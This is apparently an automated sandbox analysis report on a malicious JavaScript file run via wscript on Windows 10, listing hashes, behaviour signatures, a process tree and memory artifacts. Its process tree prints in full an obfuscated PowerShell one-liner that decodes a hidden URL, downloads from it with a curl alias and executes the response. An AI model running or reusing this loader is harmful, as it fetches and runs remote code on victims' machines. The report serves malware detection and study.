Analysis

  • max time kernel
    126s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2024 01:23

General

  • Target

    7ea7823c33b4182058ec4d60810065f302e9b8ab0f35181aac8c49f118999018.js

  • Size

    166KB

  • MD5

    2adcf3dd0d5a9db97e7069f390761785

  • SHA1

    604634497b12a41817bd3b74541d617a89d48c22

  • SHA256

    7ea7823c33b4182058ec4d60810065f302e9b8ab0f35181aac8c49f118999018

  • SHA512

    966501b7ee5aaf93b3a238d8c33d469ab007027cb6712d07db21f2ae7bf54dcf2587d1728775857454e9fed49f4378407b93f37db19cc4322942ba89e1757c3a

  • SSDEEP

    3072:LLpnHCeNb8yFQLyt0NaTHEWegDzR/bKDFQvYBnLZYlC+dXx4:LLpiehCet0ArEW9NT4QvYBFQ5dXC

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\7ea7823c33b4182058ec4d60810065f302e9b8ab0f35181aac8c49f118999018.js
    1⤵
      PID:1720
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $tnkzqs='ur';new-alias press c$($tnkzqs)l;$ltthzjxsrl=(5812,5814,5831,5821,5827,5820,5827,5826,5823,5755,5825,5820,5821,5756,5758,5755,5821,5813,5821,5772,5824,5770,5818,5814,5819,5825,5824,5758,5760);$dlftecwyryfgi=('bronx','get-cmdlet');$kirfvwpf=$ltthzjxsrl;foreach($nwxxmp in $kirfvwpf){$qptykulqqcqxv=$nwxxmp;$ddkjvnjwrp=$ddkjvnjwrp+[char]($qptykulqqcqxv-5709);$aydjvwg=$ddkjvnjwrp;$gscoclrrcoqs=$aydjvwg};$rirylt[2]=$gscoclrrcoqs;$lspxsqmz='rl';$aivzzsssyznp=1;.$([char](9992-9887)+'e'+'x')(press -useb $gscoclrrcoqs)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $tnkzqs='ur';new-alias press c$($tnkzqs)l;$ltthzjxsrl=(5812,5814,5831,5821,5827,5820,5827,5826,5823,5755,5825,5820,5821,5756,5758,5755,5821,5813,5821,5772,5824,5770,5818,5814,5819,5825,5824,5758,5760);$dlftecwyryfgi=('bronx','get-cmdlet');$kirfvwpf=$ltthzjxsrl;foreach($nwxxmp in $kirfvwpf){$qptykulqqcqxv=$nwxxmp;$ddkjvnjwrp=$ddkjvnjwrp+[char]($qptykulqqcqxv-5709);$aydjvwg=$ddkjvnjwrp;$gscoclrrcoqs=$aydjvwg};$rirylt[2]=$gscoclrrcoqs;$lspxsqmz='rl';$aivzzsssyznp=1;.$([char](9992-9887)+'e'+'x')(press -useb $gscoclrrcoqs)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5004
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4448,i,1330210614411927383,9239043499051775691,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:8
      1⤵
        PID:816

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3xhbilcd.zt1.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/5004-0-0x00007FFCBAA63000-0x00007FFCBAA65000-memory.dmp

        Filesize

        8KB

      • memory/5004-1-0x00000230689E0000-0x0000023068A02000-memory.dmp

        Filesize

        136KB

      • memory/5004-11-0x00007FFCBAA60000-0x00007FFCBB521000-memory.dmp

        Filesize

        10.8MB

      • memory/5004-12-0x00007FFCBAA60000-0x00007FFCBB521000-memory.dmp

        Filesize

        10.8MB

      • memory/5004-13-0x00007FFCBAA60000-0x00007FFCBB521000-memory.dmp

        Filesize

        10.8MB

      • memory/5004-14-0x00007FFCBAA60000-0x00007FFCBB521000-memory.dmp

        Filesize

        10.8MB

      • memory/5004-17-0x00007FFCBAA60000-0x00007FFCBB521000-memory.dmp

        Filesize

        10.8MB